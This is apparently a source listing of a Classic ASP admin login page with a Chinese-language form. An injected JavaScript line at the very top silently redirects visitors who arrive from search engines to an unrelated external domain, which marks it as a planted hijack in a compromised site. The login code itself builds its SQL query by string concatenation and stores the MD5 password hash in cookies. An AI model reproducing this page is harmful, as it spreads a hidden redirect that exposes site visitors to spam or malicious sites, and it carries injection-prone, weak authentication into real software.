d:\wwwroot\wuchunhua\admin.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!-- #include file="function.asp" -->
002:
<!-- #include file="md5.asp" -->
<%
003:
myfilename="admin.asp"
004:
if action="userlogin" and Request.ServerVariables("request_method") = "POST" then
005:
numcode=Request.Form("numcode")
006:
username=HTMLEncode(Trim(Request.Form("login_username")))
007:
userpass=md5(Trim(Request.Form("login_userpass")))
008:
period=int(Request.Form("period"))
009:
if username=empty or userpass=empty then error("请填写完整")
010:
set rs=server.createobject("ADODB.Recordset")
011:
If conn.Execute("Select id From [user] where distinction=10 and username='"&username&"' and userpass='"&userpass&"' " ).eof Then error("你填写的用户名密码错误或者不是站长")
012:
013:
Response.Cookies("adminusername")=username
014:
Response.Cookies("adminuserpass")=userpass
015:
if period<>0 then
016:
Response.Cookies("adminusername").Expires=date+period
017:
Response.Cookies("adminuserpass").Expires=date+period
018:
end if
019:
message="<li>登陆成功<li><a href=./admin1.asp>进入管理中心</a>"
020:
succeed(""&message&"<meta http-equiv=refresh content=2;url=./admin1.asp>")
021:
Response.End
022:
end if
023:
if action="out" and Request.ServerVariables("request_method") = "GET" then
024:
Response.Cookies("adminusername")=""
025:
Response.Cookies("adminuserpass")=""
026:
message="<li>退出管理中心成功<li><a href=./>返回首页</a>"
027:
succeed(""&message&"<meta http-equiv=refresh content=2;url=./>")
028:
Response.End
029:
end if
030:
%
>
031:
<html>
032:
033:
<head>
034:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
035:
<title>后台登陆</title>
036:
<link href="images/css.css" rel="stylesheet" type="text/css">
037:
</head>
038:
039:
<body>
040:
041:
<form name="form" onsubmit="return VerifyInput();" action="
<%
=myfilename
%
>" method="post">
042:
<input type="hidden" name="action" value="userlogin">
043:
<table border="0" width="60%" cellspacing="1" cellpadding="3" bgcolor="#C0C0C0" align="center">
044:
<tr>
045:
<td bgcolor="#FFFFFF" align="right">用户名:</td>
046:
<td bgcolor="#FFFFFF">
047:
<input name="login_username" type="text" maxlength="15"></td>
048:
</tr>
049:
<tr>
050:
<td bgcolor="#FFFFFF" align="right">密码:</td>
051:
<td bgcolor="#FFFFFF"><input type="password" name="login_userpass"></td>
052:
</tr>
053:
<tr>
054:
<td bgcolor="#FFFFFF" align="right">有效期:</td>
055:
<td bgcolor="#FFFFFF"><select name="period">
056:
<option value="0" selected>不保存</option>
057:
<option value="1">一天</option>
058:
<option value="30">一月</option>
059:
<option value="360">永久</option>
060:
</select> 公用电脑建议不保存</td>
061:
</tr>
062:
<tr>
063:
<td bgcolor="#FFFFFF" align="center" colspan="2">
064:
<input type="submit" name="button" value="登 陆"></td>
065:
</tr>
066:
</table>
067:
</form>
068:
069:
</body>
070:
071:
</html>
072:
073: